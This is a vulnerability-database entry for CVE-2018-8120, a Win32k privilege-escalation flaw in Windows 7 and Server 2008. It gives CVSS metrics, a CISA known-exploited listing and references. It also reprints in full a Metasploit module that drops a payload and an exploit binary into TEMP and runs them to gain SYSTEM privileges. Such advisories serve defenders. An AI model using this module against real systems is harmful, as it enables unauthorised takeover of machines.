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CVE-2018-8120 : Detail

CVE-2018-8120

7
/
HIGH
97.42%V3
Local
2018-05-09 17:00 +00:00
2018-10-24 07:57 +00:00
CVE.org
NVD

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Descriptions

An elevation of privilege vulnerability exists in Windows when the Win32k component fails to properly handle objects in memory, aka "Win32k Elevation of Privilege Vulnerability." This affects Windows Server 2008, Windows 7, Windows Server 2008 R2. This CVE ID is unique from CVE-2018-8124, CVE-2018-8164, CVE-2018-8166.

Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-404 Improper Resource Shutdown or Release
The product does not release or incorrectly releases a resource before it is made available for re-use.

Metrics

Metric Score Severity CVSS Vector Source
V3.0 7 HIGH CVSS:3.0/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

A vulnerability exploitable with Local access means that the vulnerable component is not bound to the network stack, and the attacker's path is via read/write/execute capabilities. In some cases, the attacker may be logged in locally in order to exploit the vulnerability, otherwise, she may rely on User Interaction to execute a malicious file.

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

High

A successful attack depends on conditions beyond the attacker's control. That is, a successful attack cannot be accomplished at will, but requires the attacker to invest in some measurable amount of effort in preparation or execution against the vulnerable component before a successful attack can be expected.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

Low

The attacker is authorized with (i.e. requires) privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges may have the ability to cause an impact only to non-sensitive resources.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

 nvd@nist.gov
V2 7.2 AV:L/AC:L/Au:N/C:C/I:C/A:C nvd@nist.gov

CISA KEV (Known Exploited Vulnerabilities)

Vulnerability name : Microsoft Win32k Privilege Escalation Vulnerability

Required action : Apply updates per vendor instructions.

Known To Be Used in Ransomware Campaigns : Known

Added : 2022-03-14 23:00 +00:00

Action is due : 2022-04-04 22:00 +00:00

Important informations

This CVE is identified as vulnerable and poses an active threat, according to the Catalog of Known Exploited Vulnerabilities (CISA KEV). The CISA has listed this vulnerability as actively exploited by cybercriminals, emphasizing the importance of taking immediate action to address this flaw. It is imperative to prioritize the update and remediation of this CVE to protect systems against potential cyberattacks.

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 45653

Publication date : 2018-10-21 22:00 +00:00
Author : Metasploit
EDB Verified : Yes

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = GoodRanking include Msf::Post::File include Msf::Exploit::EXE include Msf::Post::Windows::Priv include Msf::Exploit::FileDropper def initialize(info={}) super(update_info(info, 'Name' => 'Windows SetImeInfoEx Win32k NULL Pointer Dereference', 'Description' => %q{ This module exploits elevation of privilege vulnerability that exists in Windows 7 and 2008 R2 when the Win32k component fails to properly handle objects in memory. An attacker who successfully exploited this vulnerability could run arbitrary code in kernel mode. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights. This module is tested against windows 7 x86, windows 7 x64 and windows server 2008 R2 standard x64. }, 'License' => MSF_LICENSE, 'Author' => [ 'unamer', # Exploit PoC 'bigric3', # Analysis and exploit 'Anton Cherepanov', # Vulnerability discovery 'Dhiraj Mishra ' # Metasploit ], 'Platform' => 'win', 'SessionTypes' => [ 'meterpreter' ], 'DefaultOptions' => { 'EXITFUNC' => 'thread' }, 'Targets' => [ [ 'Automatic', {} ], [ 'Windows 7 x64', { 'Arch' => ARCH_X64 } ], [ 'Windows 7 x86', { 'Arch' => ARCH_X86 } ] ], 'Payload' => { 'Space' => 4096, 'DisableNops' => true }, 'References' => [ ['BID', '104034'], ['CVE', '2018-8120'], ['URL', 'https://github.com/unamer/CVE-2018-8120'], ['URL', 'https://github.com/bigric3/cve-2018-8120'], ['URL', 'http://bigric3.blogspot.com/2018/05/cve-2018-8120-analysis-and-exploit.html'], ['URL', 'https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-8120'] ], 'DisclosureDate' => 'May 9 2018', 'DefaultTarget' => 0 )) end def assign_target if is_system? fail_with(Failure::None, 'Session is already elevated') end if sysinfo['OS'] =~ /XP|NT/i fail_with(Failure::Unknown, 'The exploit binary does not support Windows XP') end return target unless target.name == 'Automatic' case sysinfo['Architecture'] when 'x64' vprint_status('Targeting x64 system') return targets[1] when 'x86' fail_with(Failure::BadConfig, "Invalid payload architecture") if payload_instance.arch.first == ARCH_X64 vprint_status('Targeting x86 system') return targets[2] end end def write_file_to_target(fname, data) tempdir = session.sys.config.getenv('TEMP') file_loc = "#{tempdir}\\#{fname}" vprint_warning("Attempting to write #{fname} to #{tempdir}") write_file(file_loc, data) vprint_good("#{fname} written") file_loc rescue Rex::Post::Meterpreter::RequestError => e elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}") fail_with(Failure::Unknown, "Writing #{fname} to disk was unsuccessful") end def check_arch sys_arch = assign_target if sys_arch.name =~ /x86/ return 'CVE-2018-8120x86.exe' else sys_arch.name =~ /x64/ return 'CVE-2018-8120x64.exe' end end def exploit cve_fname = check_arch rexe = File.join(Msf::Config.data_directory, 'exploits', 'CVE-2018-8120', cve_fname) vprint_status("Reading payload from file #{rexe}") raw = File.read(rexe) rexename = "#{Rex::Text.rand_text_alphanumeric(10)}.exe" vprint_status("EXE's name is: #{rexename}") exe = generate_payload_exe tempexename = "#{Rex::Text.rand_text_alpha(6..14)}.exe" exe_payload = write_file_to_target(tempexename, exe) vprint_status("Payload uploaded to temp folder") cve_exe = write_file_to_target(rexename, raw) command = "\"#{cve_exe}\" \"#{exe_payload}\"" vprint_status("Location of CVE-2018-8120.exe is: #{cve_exe}") register_file_for_cleanup(exe_payload) vprint_status("Executing command : #{command}") cmd_exec_get_pid(command) print_good('Exploit finished, wait for privileged payload execution to complete.') end end

Products Mentioned

Configuraton 0

Microsoft>>Windows_7 >> Version -

Microsoft>>Windows_server_2008 >> Version -

Microsoft>>Windows_server_2008 >> Version r2

Microsoft>>Windows_server_2008 >> Version r2

References

https://www.exploit-db.com/exploits/45653/
Tags : exploit, x_refsource_EXPLOIT-DB
http://www.securitytracker.com/id/1040849
Tags : vdb-entry, x_refsource_SECTRACK
http://www.securityfocus.com/bid/104034
Tags : vdb-entry, x_refsource_BID

More information
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